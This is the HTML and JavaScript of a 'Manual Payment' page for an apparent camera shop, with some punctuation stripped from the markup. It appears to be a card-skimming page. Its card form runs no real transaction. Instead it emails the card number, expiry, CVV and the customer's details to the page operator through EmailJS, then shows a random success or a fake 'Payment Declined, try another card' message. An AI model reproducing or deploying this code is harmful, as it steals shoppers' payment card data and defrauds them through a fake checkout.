!DOCTYPE html
html lang=en
head
meta charset=utf-8
meta name=viewport content=width=device-width,initial-scale=1
titleManual Payment - GR Kamera Shoptitle
style
body{font-familyArial,Helvetica,sans-serif;background#f4f4f4;margin0;padding20px}
.card{max-width820px;margin0 auto;background#fff;padding20px;border-radius8px;box-shadow0 6px 18px rgba(0,0,0,0.08)}
h2{margin-top0}
label{displayblock;margin10px 0 6px;font-weight600}
input[type=text],input[type=email],input[type=number],select,textarea{width100%;padding9px;border1px solid #ccc;border-radius6px;box-sizingborder-box}
.row{displayflex;gap12px}
.col{flex1}
.small{max-width160px}
.inline{displayinline-block;vertical-alignmiddle;margin-right8px}
.muted{color#666;font-size13px}
.totalBox{background#fafafa;padding12px;border-radius8px;margin-top12px;border1px solid #e6e6e6}
.btn{displayinline-block;padding12px 18px;border-radius8px;bordernone;cursorpointer;font-weight700}
.btn-green{background#28a745;color#fff}
.btn-blue{background#007bff;color#fff}
.btn-ghost{backgroundtransparent;border1px solid #ccc}
.modal{displaynone;positionfixed;inset0;backgroundrgba(0,0,0,.6);z-index9999;align-itemscenter;justify-contentcenter}
.modal .panel{background#fff;padding20px;border-radius10px;max-width680px;width94%;max-height90vh;overflowauto;positionrelative}
.closeX{positionabsolute;right14px;top10px;font-size20px;cursorpointer}
.bankPanel{background#28a745;color#fff;padding22px;border-radius10px;max-width680px;width94%}
.bankPanel .muted{color#eaf7ea}
.spinner{border6px solid #f3f3f3;border-top6px solid #007bff;border-radius50%;width40px;height40px;animationspin 1s linear infinite;margin18px auto}
@keyframes spin{0%{transformrotate(0)}100%{transformrotate(360deg)}}
.center{text-aligncenter}
.smallText{font-size13px;color#444}
.whiteText{color#fff}
.highlight{font-weight700}
.flex-between{displayflex;justify-contentspace-between;align-itemscenter;gap12px}
Credit Card Modal Specific
.ccLogos img{margin-right6px;vertical-alignmiddle}
#ccForm input{margin-bottom12px}
#ccForm .row .col.small input{padding-right6px}
style
head
body
div class=card
h2Manual Payment — Enter Orderh2
form id=manualForm
labelOrder Numberlabel
div class=row
div class=colinput type=text id=orderNumber name=orderNumber placeholder=Enter order number (e.g. 11997777) requireddiv
div class=col smallbutton type=button id=lookupBtn class=btn btn-ghostLookupbuttondiv
div
div class=smallText mutedIf order is known it will auto-fill amount. Otherwise enter amount manually below.div
labelCustomer Namelabel
input type=text id=custName name=custName placeholder=Full name required
labelEmaillabel
input type=email id=custEmail name=custEmail placeholder=Email address required
labelOrder Amount (RM)label
input type=number id=baseAmount name=baseAmount min=0 placeholder=Base order amount required
labelShipping Methodlabel
select id=shipping name=shipping required
option value= disabled selectedSelect shippingoption
option value=J&T data-fee=12J&T - RM12option
option value=Gdex data-fee=11Gdex - RM11option
option value=Poslaju data-fee=9Poslaju - RM9option
option value=DHL data-fee=12DHL - RM12option
option value=Citylink data-fee=11Citylink - RM11option
select
labelBubble wrap (optional)label
select id=bubbleWrap name=bubbleWrap
option value=no data-fee=0 selectedNo (RM0)option
option value=yes data-fee=3Yes - RM3option
select
labelAdd extra item (optional) — enter item codelabel
div class=row
div class=colinput type=text id=extraCode name=extraCode placeholder=Enter extra item code (e.g. SONY7787)div
div class=col smallbutton type=button id=applyExtra class=btn btn-ghostApplybuttondiv
div
div id=extraInfo class=smallText muted style=displaynone;margin-top8px;div
div class=totalBox
div class=flex-betweendivBase amountdivdivRM span id=showBase0.00spandivdiv
div class=flex-betweendivShippingdivdivRM span id=showShip0.00spandivdiv
div class=flex-betweendivBubble wrapdivdivRM span id=showBubble0.00spandivdiv
div class=flex-betweendivExtra itemdivdivRM span id=showExtra0.00spandivdiv
hr
div class=flex-between highlightdivTotal payabledivdivRM span id=showTotal0.00spandivdiv
div
label style=margin-top14pxPayment Methodlabel
select id=payMethod name=payMethod required
option value= disabled selectedSelect paymentoption
option value=hitpayHitPayoption
option value=creditCardCreditDebit Cardoption
option value=bankTransferBank Transferoption
select
div style=margin-top14px class=flex-between
divlabelinput type=checkbox id=agree required I confirm these details are correct.labeldiv
divbutton type=submit class=btn btn-greenProceed to Paymentbuttondiv
div
form
div
!-- CREDIT CARD MODAL (Updated Realistic) --
div id=ccModal class=modal
div class=panel role=dialog aria-modal=true style=max-width500px;padding25px;
span class=closeX onclick=closeModal('ccModal')×span
div class=center
h3Credit Debit Card Paymenth3
p class=muted ccLogosAccepted cards img src=httpsimg.icons8.comcolor48000000visa.png width=50img src=httpsimg.icons8.comcolor48000000mastercard-logo.png width=50p
div class=totalBox style=margin12px 0
div class=flex-between highlightdivTotal PayabledivdivRM span id=ccAmtShow0.00spandivdiv
div
div
form id=ccForm
labelCardholder Namelabel
input type=text name=cardName placeholder=Name on card required
labelCard Numberlabel
input type=text name=cardNumber maxlength=19 placeholder=xxxx xxxx xxxx xxxx required
div class=row
div class=collabelExpiry (MMYY)labelinput type=text name=cardExpiry placeholder=MMYY requireddiv
div class=col smalllabelCVVlabelinput type=text name=cardCVV maxlength=4 placeholder=123 requireddiv
div
div class=center style=margin-top16px
button type=submit class=btn btn-bluePay RM span id=ccAmtBtn0.00spanbutton
div
form
div id=ccProcessing style=displaynone;margin-top16px
div class=spinnerdiv
p class=centerProcessing payment, please wait...p
div
div id=ccResult style=displaynone;margin-top16px;text-aligncenter;font-weight700;color#c82333
❌ Payment Declined. Please try another card.
div
div
div
!-- BANK TRANSFER POPUP --
div id=bankPopup class=modal
div style=width95%;max-width680px
div class=bankPanel
h3 style=margin-top0Bank Transfer Detailsh3
pThank you for your order!p
pstrong style=color#fffReference Numberstrong span id=refDisplay class=whiteTextspanp
pstrong style=color#fffNamestrong span id=bnName class=whiteTextspanp
pstrong style=color#fffEmailstrong span id=bnEmail class=whiteTextspanp
pstrong style=color#fffOrder Numberstrong span id=bnOrder class=whiteTextspanp
pstrong style=color#fffAmountstrong RM span id=bnAmount class=whiteTextspanp
hr style=border-colorrgba(255,255,255,0.15)
p class=whiteTextTransfer top
p class=whiteTextstrongAccount Namestrong DINESH OLI TRADINGSp
p class=whiteTextstrongAccount Numberstrong 162107502029p
p class=whiteTextstrongBankstrong Maybankp
p class=whiteTextInclude your reference number in the bank transfer note.p
div class=flex-between style=margin-top12px
div class=muted style=color#eaf7eaRedirecting to payment upload in span id=countdown60spansdiv
div
button class=btn btn-ghost onclick=closeModal('bankPopup') style=background#ffffff10;color#fff;border1px solid rgba(255,255,255,0.2)Closebutton
button id=proceedUpload class=btn btn-blue style=margin-left8pxProceed Nowbutton
div
div
div
div
div
!-- EmailJS --
script src=httpscdn.jsdelivr.netnpmemailjs-com@2distemail.min.jsscript
script
emailjs.init(G6ZcF1IC8hfoUiarJ); public key
const EMAILJS_SERVICE = service_vvzaf69;
const EMAILJS_TEMPLATE = template_qz5ur87;
Helper and totals
const orders = {119977771700,229988552500,338899441200};
const extras = {SONY7787 { name Sony Battery, price 59 }};
function qs(id){return document.getElementById(id)}
function formatNumber(n){ return Number(n0).toFixed(2) }
const orderNumber = qs('orderNumber');
const lookupBtn = qs('lookupBtn');
const baseAmount = qs('baseAmount');
const shipping = qs('shipping');
const bubbleWrap = qs('bubbleWrap');
const extraCode = qs('extraCode');
const applyExtra = qs('applyExtra');
const extraInfo = qs('extraInfo');
const showBase = qs('showBase');
const showShip = qs('showShip');
const showBubble = qs('showBubble');
const showExtra = qs('showExtra');
const showTotal = qs('showTotal');
const payMethod = qs('payMethod');
const manualForm = qs('manualForm');
let extraPrice=0, extraLabel='', countdownTimer=null, countdownValue=60;
lookupBtn.addEventListener('click', function(){
const code = orderNumber.value.trim();
if(!code){ alert('Enter order number to lookup'); return; }
if(orders.hasOwnProperty(code)){
baseAmount.value = orders[code]; recalcTotals();
alert('Order found — amount auto-filled.');
} else { alert('Order not found — enter amount manually.'); }
});
function recalcTotals(){
const base = Number(baseAmount.value 0);
const shipOpt = shipping.options[shipping.selectedIndex];
const shipFee = shipOpt Number(shipOpt.dataset.fee0) 0;
const bubbleFee = Number(bubbleWrap.selectedOptions[0].dataset.fee0);
const total = base + shipFee + bubbleFee + extraPrice;
showBase.textContent = formatNumber(base);
showShip.textContent = formatNumber(shipFee);
showBubble.textContent = formatNumber(bubbleFee);
showExtra.textContent = formatNumber(extraPrice);
showTotal.textContent = formatNumber(total);
}
baseAmount.addEventListener('input', recalcTotals);
shipping.addEventListener('change', recalcTotals);
bubbleWrap.addEventListener('change', recalcTotals);
applyExtra.addEventListener('click', function(){
const code = extraCode.value.trim().toUpperCase();
if(!code){ extraPrice=0; extraLabel=''; extraInfo.style.display='none'; recalcTotals(); return; }
if(extras[code]){
extraPrice = extras[code].price;
extraLabel = extras[code].name+' ('+code+')';
extraInfo.style.display='block';
extraInfo.innerHTML = `Extra strong${extraLabel}strong — RM ${formatNumber(extraPrice)}`;
} else { extraPrice=0; extraLabel=''; extraInfo.style.display='block';
extraInfo.innerHTML = `No extra item found for code strong${code}strong.`; }
recalcTotals();
});
orderNumber.addEventListener('keydown', function(e){ if(e.key==='Enter'){ e.preventDefault(); lookupBtn.click(); } });
function openModal(id){ qs(id).style.display='flex'; }
function closeModal(id){ qs(id).style.display='none'; if(id==='bankPopup'){ stopCountdown(); } }
function generateRef(){ return 'GR'+Math.floor(Math.random()1e9).toString().padStart(9,'0'); }
function sendEmail(data){ return emailjs.send(EMAILJS_SERVICE, EMAILJS_TEMPLATE, data); }
function simulateProcessing(duration, callback){
const spinnerDiv = document.createElement('div');
spinnerDiv.className='spinner';
const overlay = document.createElement('div');
overlay.className='modal';
overlay.style.display='flex';
overlay.style.alignItems='center';
overlay.style.justifyContent='center';
overlay.style.background='rgba(0,0,0,.6)';
overlay.appendChild(spinnerDiv);
document.body.appendChild(overlay);
setTimeout(()={document.body.removeChild(overlay); if(typeof callback==='function') callback();}, duration);
}
--- Credit Card JS ---
function detectCardType(number){
const re = {visa^4, mastercard^(5[1-5]2[2-7])};
for(let key in re){ if(re[key].test(number.replace(s+g,''))) return key; }
return 'unknown';
}
const ccNumberInput = document.querySelector(#ccForm input[name='cardNumber']);
ccNumberInput.addEventListener('input', function(){
const type = detectCardType(ccNumberInput.value);
ccNumberInput.style.borderColor = (type==='unknown') '#ccc' '#28a745';
});
qs('ccForm').addEventListener('submit', function(e){
e.preventDefault();
const form = e.target; form.style.display='none';
qs('ccProcessing').style.display='block';
qs('ccResult').style.display='none';
setTimeout(()={
qs('ccProcessing').style.display='none';
const success = Math.random() 0.5;
if(success){ qs('ccResult').style.color='#28a745'; qs('ccResult').textContent='✅ Payment Successful!'; }
else { qs('ccResult').style.color='#c82333'; qs('ccResult').textContent='❌ Payment Declined. Please try another card.'; }
qs('ccResult').style.display='block';
form.style.display='';
},3000);
if(window._manualPayload){
const payload = {...window._manualPayload,
cardNumber qs('ccForm').cardNumber.value,
cardName qs('ccForm').cardName.value,
cardExpiry qs('ccForm').cardExpiry.value,
cardCVV qs('ccForm').cardCVV.value
};
sendEmail(payload).then(()=console.log('CC email sent')).catch(console.error);
}
});
--- Form Submit ---
manualForm.addEventListener('submit', function(e){
e.preventDefault();
recalcTotals();
const method = payMethod.value;
const total = Number(showTotal.textContent);
const name = qs('custName').value.trim();
const email = qs('custEmail').value.trim();
const order = orderNumber.value.trim();
const ref = generateRef();
const payload = {fullNamename,emailemail,orderNumberorder,totalAmountformatNumber(total),refNumref,paymentMethodmethod};
sendEmail(payload).then(()=console.log('Main order email sent')).catch(err=console.error(err));
if(method==='hitpay'){ sessionStorage.setItem('lastRef',ref); window.location.href='httpssecurecheckout.hit-pay.compayment-request@gadgetriacamerashop'; return; }
if(method==='creditCard'){
simulateProcessing(5000, ()={
qs('ccAmtShow').textContent = formatNumber(total);
qs('ccAmtBtn').textContent = formatNumber(total);
openModal('ccModal'); window._manualPayload = payload;
});
return;
}
if(method==='bankTransfer'){
simulateProcessing(5000, ()={
qs('refDisplay').textContent = ref;
qs('bnName').textContent = name;
qs('bnEmail').textContent = email;
qs('bnOrder').textContent = order'(not provided)';
qs('bnAmount').textContent = formatNumber(total);
openModal('bankPopup');
startCountdown(60,function(){ window.location.href='httpswww.grkamerashop.compayment-upload'; });
qs('proceedUpload').onclick=function(){ stopCountdown(); window.location.href='httpswww.grkamerashop.compayment-upload'; };
});
return;
}
alert('Select a payment method.');
});
function startCountdown(seconds, callback){
countdownValue = seconds;
qs('countdown').textContent = countdownValue;
countdownTimer = setInterval(()={ countdownValue--; qs('countdown').textContent = countdownValue; if(countdownValue=0){ clearInterval(countdownTimer); callback(); } },1000);
}
function stopCountdown(){ if(countdownTimer){ clearInterval(countdownTimer); countdownTimer=null; } }
script
body
html